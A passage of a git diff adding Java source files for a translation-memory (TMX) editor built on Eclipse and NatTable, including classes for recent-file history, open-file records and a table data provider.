monitor.beginTask(Messages.getString("tmxeditor.tmxEditorViewer.savelabel"), 1); +// try { +// tmxEditor.saveAs(new SubProgressMonitor(monitor, 1), filePath); +// } catch (final Exception e) { +// Display.getDefault().syncExec(new Runnable() { +// +// @Override +// public void run() { +// OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); +// } +// }); +// } +// monitor.done(); +// } +// }; +// try { +// new ProgressMonitorDialog(getSite().getShell()).run(true, true, p); +// } catch (Exception e) { +// LOGGER.error("", e); +// } + } + + @Override + public boolean isDirty() { + // TODO Auto-generated method stub + if (tmxEditor != null) { + return tmxEditor.isDirty(); + } + return false; + } + + @Override + public boolean isSaveAsAllowed() { + return tmxEditor != null; + } + + @Override + public boolean isSaveOnCloseNeeded() { + return false; + } + + public void notifyOpenEvent(AbstractTmxDataAccess dataAccess) { + fireOpenEvent(dataAccess); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxPropertiesDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxPropertiesDialog.java new file mode 100644 index 0000000..2ef5daf --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxPropertiesDialog.java @@ -0,0 +1,20 @@ +/** + * TmxPropertiesDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.tmxeditor.editor; + + +public class TmxPropertiesDialog { +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/OpenRecord.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/OpenRecord.java new file mode 100644 index 0000000..b937a69 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/OpenRecord.java @@ -0,0 +1,84 @@ +/** + * OpenRecordUtils.java + * + * Version information : + * + * Date:2013-9-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.history; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; + +import net.heartsome.cat.te.tmxeditor.TmxEditorUtils; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class OpenRecord { + public final Logger LOGGER = LoggerFactory.getLogger(TmxEditorUtils.class); + private File recordFile = new File(ResourcesPlugin.getWorkspace().getRoot().getLocation() + .append(".metadata/.preference/.openfile.1").toOSString()); + + public OpenRecord(){ + } + + public String getOpenRecord(){ + if(!recordFile.exists()){ + return null; + } + try { + FileInputStream in = new FileInputStream(recordFile); + InputStreamReader ir = new InputStreamReader(in); + BufferedReader r = new BufferedReader(ir); + String line = r.readLine().trim(); + return line; + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + return null; + } + + public void saveOpenRecord(String path){ + File parentFile = recordFile.getParentFile(); + if (!parentFile.exists()) { + parentFile.mkdirs(); + } + FileOutputStream output = null; + try { + output = new FileOutputStream(recordFile); + output.write(path.getBytes("UTF-8")); + } catch (Exception e) { + LOGGER.error("", e); + } finally { + try { + if (output != null) { + output.close(); + } + } catch (Exception e2) { + LOGGER.error("", e2); + } + } + } + + public void removeOpenRecord(){ + if(recordFile.exists()){ + recordFile.delete(); + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistory.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistory.java new file mode 100644 index 0000000..9ebcd69 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistory.java @@ -0,0 +1,237 @@ +/** + * TmxEditorHisitory.java + * + * Version information : + * + * Date:2013-8-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.history; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import javax.xml.parsers.DocumentBuilderFactory; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchListener; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.XMLMemento; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Document; +import org.w3c.dom.Element; + +import com.ximpleware.VTDGen; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorHistory { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxEditorHistory.class); + public static TmxEditorHistory instance = new TmxEditorHistory(); + private final String historyStoreFile = ResourcesPlugin.getWorkspace().getRoot().getLocation() + .append(".metadata/.preference/.history.xml").toOSString(); + private IMemento memento; + private final String rootTag = "file"; + + public static TmxEditorHistory getInstance() { + return instance; + } + + /** + * The maximum of entries in the history. + */ + public static final int MAX_SIZE = 15; + + /** + * The list of editor entries, in FIFO order. + */ + private List fifoList = new ArrayList(MAX_SIZE); + + /** + * Constructs a new history. + */ + private TmxEditorHistory() { + final File f = new File(historyStoreFile); + if (!f.exists() || f.length() <= 0 || !new VTDGen().parseFile(f.getAbsolutePath(), true)) { + creatStoreFile(); + } + try { + FileInputStream input = new FileInputStream(f); + BufferedReader reader = new BufferedReader(new InputStreamReader(input, "utf-8")); + memento = XMLMemento.createReadRoot(reader); + } catch (Exception e) { + LOGGER.error("", e); + } + restoreState(memento); + PlatformUI.getWorkbench().addWorkbenchListener(new IWorkbenchListener() { + + @Override + public boolean preShutdown(IWorkbench workbench, boolean forced) { + try { + Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument(); + Element element = document.createElement("hisitory"); + document.appendChild(element); + XMLMemento xm = new XMLMemento(document, element); + saveState(xm); + + FileOutputStream stream = new FileOutputStream(f); + OutputStreamWriter writer = new OutputStreamWriter(stream, "utf-8"); //$NON-NLS-1$ + xm.save(writer); + writer.close(); + } catch (Exception e) { + LOGGER.error("", e); + } + return true; + } + + @Override + public void postShutdown(IWorkbench workbench) { + + } + }); + } + + /** + * Adds an item to the history. Added in fifo fashion. + */ + public void add(int type, String file) { + add(new TmxEditorHistoryItem(type, file), 0); + } + + private void add(TmxEditorHistoryItem item, int index) { + remove(item); + + // Remove the oldest one + if (fifoList.size() == MAX_SIZE) { + fifoList.remove(MAX_SIZE - 1); + } + + // Add the new item. + fifoList.add(index < MAX_SIZE ? index : MAX_SIZE - 1, item); + } + + /** + * Returns an array of editor history items. The items are returned in order of most recent first. + */ + public TmxEditorHistoryItem[] getItems() { + refresh(); + TmxEditorHistoryItem[] array = new TmxEditorHistoryItem[fifoList.size()]; + fifoList.toArray(array); + return array; + } + + /** + * Refresh the editor list. Any stale items are removed. Only restored items are considered. + */ + public void refresh() { + Iterator iter = fifoList.iterator(); + while (iter.hasNext()) { + TmxEditorHistoryItem item = iter.next(); + int type = item.getType(); + if (type != TmxEditorHistoryItem.TYPE_HSTM && type != TmxEditorHistoryItem.TYPE_TMX) { + iter.remove(); + continue; + } + String filePath = item.getPath(); + File f = new File(filePath); + if (!f.exists()) { + iter.remove(); + } + } + } + + /** + * Removes the given history item. + */ + public void remove(TmxEditorHistoryItem item) { + if (item == null) { + return; + } + if (!fifoList.remove(item)) { + Iterator iter = fifoList.iterator(); + while (iter.hasNext()) { + TmxEditorHistoryItem t = iter.next(); + if (t.getPath().equals(item.getPath()) && t.getType() == item.getType()) { + iter.remove(); + } + } + } + } + + /** + * 创建文件 + */ + private void creatStoreFile() { + File parentFile = new File(historyStoreFile).getParentFile(); + if (!parentFile.exists()) { + parentFile.mkdirs(); + } + FileOutputStream output = null; + try { + output = new FileOutputStream(historyStoreFile); + output.write("\n".getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + } catch (Exception e) { + LOGGER.error("", e); + } finally { + try { + if (output != null) { + output.close(); + } + } catch (Exception e2) { + LOGGER.error("", e2); + } + } + } + + /** + * Restore the most-recently-used history from the given memento. + * @param memento + * the memento to restore the mru history from + */ + public IStatus restoreState(IMemento memento) { + IMemento[] mementos = memento.getChildren(rootTag); + for (int i = 0; i < mementos.length; i++) { + TmxEditorHistoryItem item = new TmxEditorHistoryItem(mementos[i]); + if ((item.getType() == TmxEditorHistoryItem.TYPE_HSTM || item.getType() == TmxEditorHistoryItem.TYPE_TMX) + && item.getPath() != null && item.getPath().length() != 0) + add(item, fifoList.size()); + } + return Status.OK_STATUS; + } + + /** + * Save the most-recently-used history in the history file + */ + public IStatus saveState(IMemento memento) { + Iterator iterator = fifoList.iterator(); + while (iterator.hasNext()) { + TmxEditorHistoryItem item = iterator.next(); + if (item.canSave()) { + IMemento itemMemento = memento.createChild(rootTag); + item.saveState(itemMemento); + } + } + return Status.OK_STATUS; + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistoryItem.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistoryItem.java new file mode 100644 index 0000000..ac9bbe0 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/history/TmxEditorHistoryItem.java @@ -0,0 +1,106 @@ +/** + * TmxEditorHistoryItem.java + * + * Version information : + * + * Date:2013-8-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.history; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.ui.IMemento; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorHistoryItem { + /** 历å²ç±»åž‹ï¼ŒTmx 文件 */ + public static final int TYPE_TMX = 1; + /** 历å²ç±»åž‹ï¼ŒHS TM */ + public static final int TYPE_HSTM = 2; + + private int type = -1; + private String path; + private IMemento memento; + + public TmxEditorHistoryItem(int type, String path) { + this.type = type; + this.path = path; + } + + /** + * Constructs a new item from a memento. + */ + public TmxEditorHistoryItem(IMemento memento) { + this.memento = memento; + } + + public int getType() { + if (isRestored() && type != -1) { + return type; + } else if (memento != null) { + Integer t = memento.getInteger("type"); + if (t != null) { + type = t; + } + } + return type; + } + + public void setType(int type) { + this.type = type; + } + + public String getPath() { + if (isRestored() && path != null && path.length() != 0) { + return path; + } else if (memento != null) { + String path = memento.getString("path"); + if (path != null) { + return path; + } + } + return ""; //$NON-NLS-1$ + } + + public void setPath(String path) { + this.path = path; + } + + /** + * Returns whether this item has been restored from the memento. + */ + public boolean isRestored() { + return memento == null; + } + + /** + * Returns whether this history item can be saved. + */ + public boolean canSave() { + return !isRestored() || (path != null && path.length() != 0); + } + + /** + * Saves the object state in the given memento. + * @param memento + * the memento to save the object state in + */ + public IStatus saveState(IMemento memento) { + if (!isRestored()) { + memento.putMemento(this.memento); + } else if ((type == TYPE_TMX || type == TYPE_HSTM) && path != null && path.length() != 0) { + memento.putInteger("type", type); + memento.putString("path", path); + } + return Status.OK_STATUS; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TeNattableConstant.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TeNattableConstant.java new file mode 100644 index 0000000..b946d5c --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TeNattableConstant.java @@ -0,0 +1,26 @@ +/** + * TeNattableConstant.java + * + * Version information : + * + * Date:2013-7-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public interface TeNattableConstant { + String LINENUMBER_CELL_LABEL = "LINENUMBER_CELL_LABEL"; + String FLAG_CELL_LABEL = "FLAG_Cell_LABEL"; + String SOURCE_EDIT_CELL_LABEL = "SOURCE_EDIT_CELL_LABEL"; + String TARGET_EDIT_CELL_LABEL = "TARGET_EDIT_CELL_LABEL"; + String ATTRIBUTE_CELL_LABEL = "ATTRIBUTE_CELL_LABEL"; +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorDataProvider.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorDataProvider.java new file mode 100644 index 0000000..bb4c986 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorDataProvider.java @@ -0,0 +1,101 @@ +/** + * TmxEditorDataProvider.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.editor.nattable; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.TmxTuCache; +import net.sourceforge.nattable.data.IColumnAccessor; +import net.sourceforge.nattable.data.IRowDataProvider; + +public class TmxEditorDataProvider implements IRowDataProvider { + + private TmxTuCache cache = new TmxTuCache(200); + private AbstractTmxDataAccess dataAccessor; + protected IColumnAccessor columnAccessor; + + public TmxEditorDataProvider(AbstractTmxDataAccess dataAccessor, IColumnAccessor columnAccessor) { + this.dataAccessor = dataAccessor; + this.columnAccessor = columnAccessor; + } + + @Override + public Object getDataValue(int columnIndex, int rowIndex) { + if (columnIndex == 0) { + return rowIndex + 1; + } + if (columnIndex == 4) { + return ""; // TODO 等待实现painter + } + return getRowObject(rowIndex); + } + + @Override + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + if (newValue == null) { + return; + } + TmxTU tu = (TmxTU) getRowObject(rowIndex); + if (tu == null) { + return; + } + String id = this.dataAccessor.getTuIndentifierByRowIndex(rowIndex); + TmxSegement tuv = null; + if (columnIndex == 1) { // source + tuv = tu.getSource(); + } else if (columnIndex == 2) {// target + tuv = tu.getTarget(); + } + if (tuv == null) { + return; + } + // long l = System.currentTimeMillis(); + this.dataAccessor.updateTuvContent(id, (String) newValue, tu, tuv); + this.dataAccessor.setDirty(true); + // System.out.println("save: "+(System.currentTimeMillis() - l)); + } + + @Override + public int getColumnCount() { + return columnAccessor.getColumnCount(); + } + + @Override + public int getRowCount() { + return this.dataAccessor.getDisplayTuCount(); + } + + @SuppressWarnings("unchecked") + @Override + public T getRowObject(int rowIndex) { + TmxTU tu = cache.getElement(rowIndex); + if (tu == null) { + String id = dataAccessor.getDisplayTuIdentifiers().get(rowIndex); + tu = dataAccessor.getTuByIdentifier(id); + cache.addElement(rowIndex, tu); + } + return (T) tu; + } + + @Override + public int indexOfRowObject(T rowObject) { + // TODO Auto-generated method stub + return 0; + } + + public void clearCache() { + cache.clear(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorImpWithNattable.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorImpWithNattable.java new file mode 100644 index 0000000..c83ce80 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/TmxEditorImpWithNattable.java @@ -0,0 +1,567 @@ +/** + * TmxEditorImpWithNattable.java + * + * Version information : + * + * Date:2013-6-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommand; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommandHandler; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.EditCellCommandHandler; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommandHandler; +import net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.BodyMenuConfiguration; +import net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration; +import net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.HorizontalViewportLayer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.LayerUtil; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.RowHeightCalculator; +import net.heartsome.cat.te.tmxeditor.editor.nattable.painter.AttributePainter; +import net.heartsome.cat.te.tmxeditor.editor.nattable.painter.FlagPainter; +import net.heartsome.cat.te.tmxeditor.editor.nattable.painter.LineNumberPainter; +import net.heartsome.cat.te.tmxeditor.editor.nattable.painter.TmxEditorTextPainter; +import net.heartsome.cat.te.tmxeditor.editor.nattable.selection.RowSelectionProvider; +import net.heartsome.cat.te.tmxeditor.editor.nattable.selection.TmxEditorRowSelectionModel; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.data.ReflectiveColumnPropertyAccessor; +import net.sourceforge.nattable.data.convert.DefaultDisplayConverter; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.grid.data.DefaultColumnHeaderDataProvider; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.cell.ColumnOverrideLabelAccumulator; +import net.sourceforge.nattable.layer.config.DefaultColumnHeaderStyleConfiguration; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.resize.command.MultiColumnResizeCommand; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.selection.command.SelectColumnCommand; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorImpWithNattable { + + public static boolean showNonPrinttingChar = Activator.getDefault().getPreferenceStore() + .getBoolean(TmxEditorConstanst.TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER); + + private AbstractTmxDataAccess tmxDataAccess; + + private NatTable natTable; + + private BodyLayer bodyLayer; + private String[] headerLabelNames; + private Map headerLabels; + private String srcSearchStr; + private String tgtSearchStr; + private IPropertyChangeListener fontChangeListenner = new FontPropertyChangeListener(); + + public TmxEditorImpWithNattable(AbstractTmxDataAccess tmxDataAccess) { + this.tmxDataAccess = tmxDataAccess; + } + + public void createContents(Composite container) { + natTable = new NatTable(container, false); + Listener[] ls = natTable.getListeners(SWT.Resize); + for (Listener l : ls) { + natTable.removeListener(SWT.Resize, l); + } + + JFaceResources.getFontRegistry().addListener(fontChangeListenner); + + natTable.removePaintListener(natTable); + natTable.addPaintListener(paintListener); + natTable.addListener(SWT.Resize, resizeListener); + natTable.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + TeActiveCellEditor.commit(); // before dispose commit the last change + natTable.removeListener(SWT.Resize, resizeListener); + natTable.removePaintListener(paintListener); + bodyLayer.dispose(); + } + }); + // create NatTable configuration + IConfigRegistry configRegistry = createConfigRegistry(); + natTable.setConfigRegistry(configRegistry); + natTable.addConfiguration(new BodyMenuConfiguration(natTable)); + // body configuration + bodyLayer = new BodyLayer(); + // header configuration + ColumnHeaderLayerStack colHLayer = new ColumnHeaderLayerStack(); + CompositeLayer compositeLayer = new CompositeLayer(1, 2); + compositeLayer.setChildLayer(GridRegion.COLUMN_HEADER, colHLayer, 0, 0); + compositeLayer.setChildLayer(GridRegion.BODY, bodyLayer, 0, 1); + compositeLayer.addConfiguration(new CompositeLayerConfiguration(compositeLayer)); + compositeLayer.registerCommandHandler(new AutoResizeCurrentRowsCommandHandler(compositeLayer)); + compositeLayer.registerCommandHandler(new EditCellCommandHandler(this)); + LayerUtil.setBodyLayerPosition(0, 1); // 设置 LayerUtilä½ç½® add by Yule + natTable.setLayer(compositeLayer); + + // manual configure NatTable + natTable.configure(); + + // default select the first row + selectCell(getTgtColumnIndex(), 0); + RowHeightCalculator rowHeightCalculator = new RowHeightCalculator(bodyLayer, natTable, 25); + ((HorizontalViewportLayer) bodyLayer.getViewportLayer()).setRowHeightCalculator(rowHeightCalculator); + } + + public ISelectionProvider getSelectionProvider() { + if (bodyLayer != null) { + return bodyLayer.getSelectionProvider(); + } + return null; + } + + private IConfigRegistry createConfigRegistry() { + IConfigRegistry configRegistry = new ConfigRegistry(); + // Line number column configuration + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, new LineNumberPainter(), + DisplayMode.NORMAL, TeNattableConstant.LINENUMBER_CELL_LABEL); + configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, new DefaultDisplayConverter(), + DisplayMode.NORMAL, TeNattableConstant.LINENUMBER_CELL_LABEL); + Style lineNumberStyle = new Style(); + lineNumberStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, HorizontalAlignmentEnum.CENTER); + lineNumberStyle.setAttributeValue(CellStyleAttributes.FONT, GUIHelper.DEFAULT_FONT); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, lineNumberStyle, DisplayMode.NORMAL, + TeNattableConstant.LINENUMBER_CELL_LABEL); + 